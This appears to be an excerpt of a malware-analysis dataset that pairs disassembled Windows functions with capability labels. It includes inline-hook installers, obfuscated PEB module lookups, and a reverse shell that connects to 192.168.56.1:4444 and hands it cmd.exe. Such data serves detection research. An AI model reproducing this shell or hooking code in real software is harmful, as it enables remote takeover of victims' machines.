joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180095ce0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
movaps xmmword [rsp + 0x30], xmm6
movaps xmmword [rsp + 0x20], xmm7
movaps xmm6, xmm1
movaps xmm7, xmm0
mov ecx, dword [0x18042091c]
mov rax, qword gs:[0x58]
mov edx, 4
mov rcx, qword [rax + rcx*8]
lea rdi, [0x180424040]
mov eax, dword [rdx + rcx]
cmp dword [0x180422ca4], eax
jle 0x180095d97
lea rcx, [0x180422ca4]
call fcn.1800ad2b8
cmp dword [0x180422ca4], 0xffffffff
jne 0x180095d97
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [0x1804253c4], 0xffffffff
mov dword [0x180424044], eax
mov r8d, 1
nop word [rax + rax]
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
add eax, r8d
mov dword [rdi + r8*4 + 4], eax
inc r8
cmp r8, 0x270
jb 0x180095d60
mov dword [0x180424040], 0x270
lea rcx, [0x180422ca4]
call fcn.1800ad258
xorps xmm3, xmm3
xorps xmm0, xmm0
movsd xmm2, qword [0x1803f4eb0]
mov ebx, 2
movsd xmm4, qword [0x1803f4fa0]
mov rcx, rdi
call fcn.180077870
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm3
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm4
sub rbx, 1
jne 0x180095db2
divsd xmm0, xmm2
subsd xmm6, xmm7
mulsd xmm0, xmm6
addsd xmm0, xmm7
mov rbx, qword [rsp + 0x50]
movaps xmm6, xmmword [rsp + 0x30]
movaps xmm7, xmmword [rsp + 0x20]
add rsp, 0x40
pop rdi
ret
Function at 0x18009aeb0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov edi, edx
mov ebx, ecx
mov r8d, dword [0x18042091c]
mov rax, qword gs:[0x58]
mov ecx, 4
mov r9, qword [rax + r8*8]
lea rbp, [0x180426760]
mov eax, dword [rcx + r9]
cmp dword [0x18042a20c], eax
jle 0x18009af69
lea rcx, [0x18042a20c]
call fcn.1800ad2b8
cmp dword [0x18042a20c], 0xffffffff
jne 0x18009af69
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [0x180427ae4], 0xffffffff
mov dword [0x180426764], eax
mov edx, 1
nop word [rax + rax]
mov r8d, eax
shr r8d, 0x1e
xor r8d, eax
imul eax, r8d, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 4], eax
inc rdx
cmp rdx, 0x270
jb 0x18009af30
mov dword [0x180426760], 0x270
lea rcx, [0x18042a20c]
call fcn.1800ad258
lea eax, [rbx - 0x80000000]
mov r14d, 0x80000000
lea esi, [rbx + r14]
cmp ebx, r14d
cmovae esi, eax
lea eax, [rdi - 0x80000000]
lea ebx, [rdi + r14]
cmp edi, r14d
cmovae ebx, eax
sub ebx, esi
cmp ebx, 0xffffffff
jne 0x18009afa2
mov rcx, rbp
call fcn.180077870
mov edx, eax
jmp 0x18009afd7
lea edi, [rbx + 1]
xor r8d, r8d
xor eax, eax
test ebx, ebx
je 0x18009afbe
mov rcx, rbp
call fcn.180077870
mov r8d, eax
mov eax, 0xffffffff
xor edx, edx
div edi
mov r9d, edx
mov ecx, eax
xor edx, edx
mov eax, r8d
div edi
cmp eax, ecx
jb 0x18009afd7
cmp r9d, ebx
jne 0x18009afa5
add edx, esi
lea ecx, [rdx - 0x80000000]
lea eax, [rdx + r14]
cmp edx, r14d
cmovae eax, ecx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x18009b010
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
sub rsp, 0x40
movaps xmmword [rsp + 0x30], xmm6
movaps xmmword [rsp + 0x20], xmm7
movaps xmm6, xmm1
movaps xmm7, xmm0
mov ecx, dword [0x18042091c]
mov rax, qword gs:[0x58]
mov edx, 4
mov rcx, qword [rax + rcx*8]
lea rbx, [0x180428e80]
mov eax, dword [rdx + rcx]
cmp dword [0x18042a208], eax
jle 0x18009b0c7
lea rcx, [0x18042a208]
call fcn.1800ad2b8
cmp dword [0x18042a208], 0xffffffff
jne 0x18009b0c7
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [0x18042a204], 0xffffffff
mov dword [0x180428e84], eax
mov r8d, 1
nop dword [rax]
nop word [rax + rax]
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
add eax, r8d
mov dword [rbx + r8*4 + 4], eax
inc r8
cmp r8, 0x270
jb 0x18009b090
mov dword [0x180428e80], 0x270
lea rcx, [0x18042a208]
call fcn.1800ad258
mov rcx, rbx
call fcn.180077870
mov eax, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
xorps xmm1, xmm1
subss xmm0, xmm1
addss xmm0, xmm1
mulss xmm0, dword [0x1803f4d8c]
subss xmm6, xmm7
mulss xmm0, xmm6
addss xmm0, xmm7
movaps xmm6, xmmword [rsp + 0x30]
movaps xmm7, xmmword [rsp + 0x20]
add rsp, 0x40
pop rbx
ret
Function at 0x18009eec0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x180407040]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor esi, esi
call fcn.180078330
call fcn.1800998a0
mov rbx, qword [0x180422b00]
test rbx, rbx
je 0x18009ef0b
mov rcx, rbx
call fcn.18009f150
mov edx, 0xf8
mov rcx, rbx
call fcn.1800ad85c
mov qword [0x180422b00], rsi
mov rcx, qword [0x180420930]
test rcx, rcx
je 0x18009ef53
call fcn.180079690
mov rdi, qword [rax + 0x10]
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x18009ef53
nop
mov rcx, qword [0x180420930]
mov rax, qword [rcx]
mov r8, qword [rax + 0xb0]
mov rdx, qword [rbx + 0x30]
call r8
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
jne 0x18009ef30
mov rcx, qword [0x1804210e0]
test rcx, rcx
je 0x18009ef6b
mov rax, qword [rcx]
mov rdx, qword [rax + 0x3f0]
call rdx
call fcn.180071f90
mov rcx, qword [0x180420c70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, qword [0x180420c78]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, qword [0x180420c80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov rcx, qword [0x1804210a8]
test rcx, rcx
je 0x18009efae
call fcn.18009f090
mov rcx, qword [0x180421098]
test rcx, rcx
je 0x18009efbf
call fcn.18009f090
cmp qword [0x180420fa0], rsi
je 0x18009efd4
lea rcx, [0x180420fa0]
call fcn.18009f7c0
mov qword [0x180420930], rsi
mov ecx, 0x10
call fcn.1800ad3c8
mov rcx, qword [0x180421120]
mov qword [rax], rcx
mov rcx, qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [rax + 8], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x18009f710]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x18009f07e
cmp dword [rsp + 0x38], 0
jne 0x18009f03e
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x18009f061
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
nop
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1800ad110
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
mov dword [rsp + 0x38], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x18009f090
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x180407040]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp byte [rcx], 0
mov rbx, rcx
jne 0x18009f125
mov rcx, qword [rcx + 0x10]
mov dword [rsp + 0x20], 0
cmp byte [rcx], 0xe9
jne 0x18009f101
movzx edx, byte [rbx + 1]
lea r9, [rsp + 0x20]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18009f101
movzx r8d, byte [rbx + 1]
mov rdx, qword [rbx + 0x18]
mov rcx, qword [rbx + 0x10]
call sub.VCRUNTIME140.dll_memcpy
movzx edx, byte [rbx + 1]
lea r9, [rsp + 0x20]
mov r8d, dword [rsp + 0x20]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbx + 0x20]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbx + 0x18]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, 0x38
mov rcx, rbx
call fcn.1800ad85c
mov rax, rbx
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1800ad110
add rsp, 0x30
pop rbx
ret
Function at 0x18009f3b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x180407040]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rbx, rcx
mov word [rcx], 1
lea rax, [0x18009e850]
mov qword [rcx + 8], rax
mov rcx, qword [0x1804210b8]
mov qword [rbx + 0x10], rcx
mov qword [rbx + 0x18], 0
mov qword [rbx + 0x20], 0
mov dword [rbx + 0x28], 0x25ff
mov dword [rbx + 0x2c], 0x1010000
mov dword [rbx + 0x30], 0x1010101
mov word [rbx + 0x34], 0x101
call fcn.180078280
mov rcx, qword [rbx + 0x10]
mov edx, 0xe
mov byte [rbx + 1], al
lea r8d, [rdx + 0x32]
call fcn.180079260
mov qword [rbx + 0x20], rax
mov rcx, rax
test rax, rax
jne 0x18009f44c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Hook:_Failed_to_allocate_memory_n
call fcn.180005350
jmp 0x18009f54a
mov rax, qword [rbx + 8]
mov r8d, 0x3000
mov qword [rbx + 0x2e], rax
movsd xmm0, qword [rbx + 0x28]
movsd qword [rcx], xmm0
mov eax, dword [rbx + 0x30]
mov dword [rcx + 8], eax
movzx eax, word [rbx + 0x34]
mov word [rcx + 0xc], ax
xor ecx, ecx
movzx edx, byte [rbx + 1]
add rdx, 0xe
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbx + 0x18], rax
test rax, rax
je 0x18009f434
mov qword [0x1804210b0], rax
movzx r8d, byte [rbx + 1]
mov rdx, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x48], rdi
call sub.VCRUNTIME140.dll_memcpy
movzx edx, byte [rbx + 1]
lea r9, [rsp + 0x20]
mov rcx, qword [rbx + 0x10]
add rcx, rdx
mov qword [rbx + 0x2e], rcx
mov rcx, qword [rbx + 0x18]
movsd xmm0, qword [rbx + 0x28]
movsd qword [rcx + rdx], xmm0
mov eax, dword [rbx + 0x30]
mov dword [rcx + rdx + 8], eax
movzx eax, word [rbx + 0x34]
mov word [rcx + rdx + 0xc], ax
mov edx, 5
mov edi, dword [rbx + 0x20]
sub edi, dword [rbx + 0x10]
mov rcx, qword [rbx + 0x10]
sub edi, 5
lea r8d, [rdx + 0x3b]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x18009f51b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Hook:_Failed_to_change_target_function_protection_n
call fcn.180005350
jmp 0x18009f545
mov rax, qword [rbx + 0x10]
lea r9, [rsp + 0x20]
mov edx, 5
mov byte [rax], 0xe9
mov rax, qword [rbx + 0x10]
mov dword [rax + 1], edi
mov r8d, dword [rsp + 0x20]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [rbx], 0
mov rdi, qword [rsp + 0x48]
mov rax, rbx
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1800ad110
add rsp, 0x30
pop rbx
ret
Function at 0x18009f560
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x180407040]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rbx, rcx
mov word [rcx], 1
lea rax, [0x18009e770]
mov qword [rcx + 8], rax
mov rcx, qword [0x180421090]
mov qword [rbx + 0x10], rcx
mov qword [rbx + 0x18], 0
mov qword [rbx + 0x20], 0
mov dword [rbx + 0x28], 0x25ff
mov dword [rbx + 0x2c], 0x1010000
mov dword [rbx + 0x30], 0x1010101
mov word [rbx + 0x34], 0x101
call fcn.180078280
mov rcx, qword [rbx + 0x10]
mov edx, 0xe
mov byte [rbx + 1], al
lea r8d, [rdx + 0x32]
call fcn.180079260
mov qword [rbx + 0x20], rax
mov rcx, rax
test rax, rax
jne 0x18009f5fc
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Hook:_Failed_to_allocate_memory_n
call fcn.180005350
jmp 0x18009f6fa
mov rax, qword [rbx + 8]
mov r8d, 0x3000
mov qword [rbx + 0x2e], rax
movsd xmm0, qword [rbx + 0x28]
movsd qword [rcx], xmm0
mov eax, dword [rbx + 0x30]
mov dword [rcx + 8], eax
movzx eax, word [rbx + 0x34]
mov word [rcx + 0xc], ax
xor ecx, ecx
movzx edx, byte [rbx + 1]
add rdx, 0xe
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbx + 0x18], rax
test rax, rax
je 0x18009f5e4
mov qword [0x1804210a0], rax
movzx r8d, byte [rbx + 1]
mov rdx, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x48], rdi
call sub.VCRUNTIME140.dll_memcpy
movzx edx, byte [rbx + 1]
lea r9, [rsp + 0x20]
mov rcx, qword [rbx + 0x10]
add rcx, rdx
mov qword [rbx + 0x2e], rcx
mov rcx, qword [rbx + 0x18]
movsd xmm0, qword [rbx + 0x28]
movsd qword [rcx + rdx], xmm0
mov eax, dword [rbx + 0x30]
mov dword [rcx + rdx + 8], eax
movzx eax, word [rbx + 0x34]
mov word [rcx + rdx + 0xc], ax
mov edx, 5
mov edi, dword [rbx + 0x20]
sub edi, dword [rbx + 0x10]
mov rcx, qword [rbx + 0x10]
sub edi, 5
lea r8d, [rdx + 0x3b]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x18009f6cb
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Hook:_Failed_to_change_target_function_protection_n
call fcn.180005350
jmp 0x18009f6f5
mov rax, qword [rbx + 0x10]
lea r9, [rsp + 0x20]
mov edx, 5
mov byte [rax], 0xe9
mov rax, qword [rbx + 0x10]
mov dword [rax + 1], edi
mov r8d, dword [rsp + 0x20]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [rbx], 0
mov rdi, qword [rsp + 0x48]
mov rax, rbx
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1800ad110
add rsp, 0x30
pop rbx
ret
Function at 0x1800a1b20
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movzx eax, byte [rdx]
mov rbx, r8
dec eax
mov r8, rdx
mov rdi, rcx
cmp eax, 0x20
ja case.0x1800a1c09.4
lea rsi, [0x180000000]
nop dword [rax]
cdqe
movzx eax, byte [rsi + rax + 0xa1d88]
mov ecx, dword [rsi + rax*4 + 0xa1d5c]
add rcx, rsi
jmp rcx
mov rax, qword [rbx + 0xd0]
movzx r8d, byte [r8 + 1]
add rax, 0xffffffffffffffc4
lea r8, [rax + r8*2]
movzx eax, byte [r8]
dec eax
cmp eax, 0x20
jbe 0x1800a1b50
mov al, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
movsxd rax, dword [rbx + 0xcc]
movzx edx, word [rsi + rax*2 + 0xb80a0]
mov rcx, rdi
call fcn.1800a03d0
xor al, al
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
movzx eax, byte [rbx + 0x9c]
cmp al, 8
jae case.0x1800a1c09.4
lea edx, [rax + 0x6d]
mov rcx, rdi
call fcn.1800a03d0
xor al, al
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
movzx eax, byte [r8 + 1]
add eax, 0xfffffffe
cmp eax, 0x1a
ja case.0x1800a1c09.4
cdqe
movzx eax, byte [rsi + rax + 0xa1db8]
mov ecx, dword [rsi + rax*4 + 0xa1dac]
add rcx, rsi
jmp rcx
mov rdx, rbx
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.1800a2bc0
mov rdx, rbx
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.1800a1de0
movzx eax, byte [rbx + 0xa2]
mov r9, rbx
mov rcx, rdi
mov rdx, qword [rbx + rax*8 + 0xa8]
inc al
mov byte [rbx + 0xa2], al
call fcn.1800a0950
xor al, al
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
movzx edx, byte [rbx + 0x34]
mov rcx, rdi
call fcn.1800a03a0
xor al, al
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov eax, dword [rbx + 0x60]
cmp eax, 2
jne 0x1800a1c9e
lea edx, [rax + 0x35]
jmp 0x1800a1cb0
cmp eax, 1
jne 0x1800a1cab
lea edx, [rax + 0x1f]
lea eax, [rdx + 0x19]
jmp 0x1800a1cb5
mov edx, 0x39
mov eax, 0x20
cmp byte [rbx + 0x37], 0
mov rcx, rdi
cmovne edx, eax
call fcn.1800a03d0
movsxd rax, dword [rbx + 8]
mov rcx, rdi
movzx edx, byte [rax + rsi + 0xb8260]
call fcn.1800a03d0
xor al, al
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov eax, dword [rbx + 0x60]
cmp eax, 2
jne 0x1800a1cf7
lea edx, [rax + 0x31]
jmp 0x1800a1d09
cmp eax, 1
jne 0x1800a1d04
lea edx, [rax + 0x19]
lea eax, [rdx - 0xa]
jmp 0x1800a1d0e
mov edx, 0x10
mov eax, 0x1a
cmp byte [rbx + 0x37], 0
mov rcx, rdi
cmovne edx, eax
call fcn.1800a03d0
mov rbx, qword [rsp + 0x30]
xor al, al
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
movsxd rax, dword [rbx + 0xb8]
jmp 0x1800a1b9e
movzx edx, byte [rbx + 0xa0]
and edx, 7
add edx, 0x85
jmp 0x1800a1ba6
movsxd rax, dword [rbx + 0x98]
jmp 0x1800a1b9e
Function at 0x1800acbb4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1800acc38
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1802c9e60]
cmp byte [rcx + rax], 0
je 0x1800acc38
dec r8
sub rdx, 1
jne 0x1800acc1e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1800aceb8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.1800acc50
mov ebx, eax
test eax, eax
jne 0x1800acee8
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x1800acf4b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800acf42
test al, 0x10
je 0x1800acf42
bt eax, 0xa
jae 0x1800acf3b
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.1800acf5c
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x1800acf37
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1800acf37
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
test edi, edi
jne 0x1800acf42
and dword [rsp + 0x3c], 0
jmp 0x1800acf47
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400027f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
lea rcx, [0x140001540]
jmp 0x140001510
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.140001630
lea rax, str.192.168.56.1
mov qword [rbp - 8], rax
mov word [rbp - 0xa], 0x115c
lea rdx, [0x140003180]
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x140003160], rax
mov word [0x1400030b0], 2
movzx eax, word [rbp - 0xa]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x1400030b2], ax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x1400030b4], eax
mov rax, qword [0x140003160]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x1400030b0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
mov r8d, 0x68
mov edx, 0
lea rcx, [0x1400030e0]
call sub.msvcrt.dll_memset
mov dword [0x1400030e0], 0x68
mov dword [0x14000311c], 0x100
mov rax, qword [0x140003160]
mov qword [0x140003140], rax
mov rax, qword [0x140003140]
mov qword [0x140003138], rax
mov rax, qword [0x140003138]
mov qword [0x140003130], rax
lea rax, [0x1400030c0]
mov qword [rsp + 0x48], rax
lea rax, [0x1400030e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rdx, str.cmd.exe
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov ecx, 0
call sub.msvcrt.dll_exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x140001530
Function at 0x180002620
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
cmp dword [0x180020a94], 0xa
jl 0x180002652
mov eax, dword [0x180020a98]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180002652
nop word cs:[rax + rax]
nop
jmp 0x180002650
mov rax, qword gs:[0x60]
mov r11, qword [rax + 0x18]
mov r8, qword [r11 + 0x10]
add r11, 0x10
cmp r8, r11
je 0x1800026b2
mov eax, dword [0x180020a9c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020aa0], 0xa
setl r9b
cmp dword [0x180020a7c], 0xa
jl 0x1800026b9
mov edx, dword [0x180020a80]
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
je 0x1800026b9
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x1800026b0
xor eax, eax
jmp 0x180002746
or r9b, al
lea r10, [rcx - 1]
xor eax, eax
mov rdx, r10
nop word cs:[rax + rax]
nop
cmp byte [rdx + 1], 0
lea rdx, [rdx + 1]
jne 0x1800026d0
test r9b, r9b
je 0x180002740
sub rdx, rcx
je 0x180002742
mov r14, qword [r8 + 0x60]
xor edi, edi
nop word [rax + rax]
movzx ebx, word [r14 + rdi*2]
movsx r12d, byte [rcx + rdi]
lea r15d, [rbx - 0x41]
lea ebp, [rbx + 0x20]
cmp r15w, 0x1a
cmovae ebp, ebx
lea r15d, [r12 - 0x41]
lea esi, [r12 + 0x20]
cmp r15b, 0x1a
cmovae esi, r12d
cmp ebp, esi
jne 0x18000272f
test bx, bx
je 0x180002742
add rdi, 1
cmp rdx, rdi
jne 0x1800026f0
jmp 0x180002742
mov r8, qword [r8]
cmp r8, r11
jne 0x1800026c2
jmp 0x180002746
jmp 0x180002740
mov rax, qword [r8 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x180002450
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov rax, qword gs:[0x60]
mov r10, qword [rax + 0x18]
add r10, 0x10
mov eax, dword [0x180020a94]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a98], 0xa
setl r8b
or r8b, al
mov eax, dword [0x180020a80]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a7c], 0xa
setl r9b
or r9b, al
mov eax, dword [0x180020a9c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020aa0], 0xa
setl r14b
or r14b, al
lea rax, [rcx - 1]
mov r15, r10
test r8b, r8b
je 0x180002580
mov r15, qword [r15]
cmp r15, r10
je 0x1800025a2
mov rdi, rax
test r9b, r9b
je 0x180002590
nop word cs:[rax + rax]
nop
cmp byte [rdi + 1], 0
lea rdi, [rdi + 1]
jne 0x180002500
test r14b, r14b
je 0x1800025a0
sub rdi, rcx
je 0x180002568
mov r12, qword [r15 + 0x60]
xor edx, edx
nop
movzx esi, word [r12 + rdx*2]
lea ebx, [rsi - 0x41]
lea ebp, [rsi + 0x20]
cmp bx, 0x1a
cmovae ebp, esi
movsx ebx, byte [rcx + rdx]
lea r13d, [rbx - 0x41]
lea r11d, [rbx + 0x20]
cmp r13b, 0x1a
cmovae r11d, ebx
sub ebp, r11d
test esi, esi
je 0x180002560
test ebp, ebp
jne 0x180002560
add rdx, 1
cmp rdi, rdx
jne 0x180002520
jmp 0x180002568
test ebp, ebp
jne 0x1800024d4
mov rax, qword [r15 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jmp 0x180002580
jmp 0x180002590
jmp 0x1800025a0
xor eax, eax
jmp 0x18000256c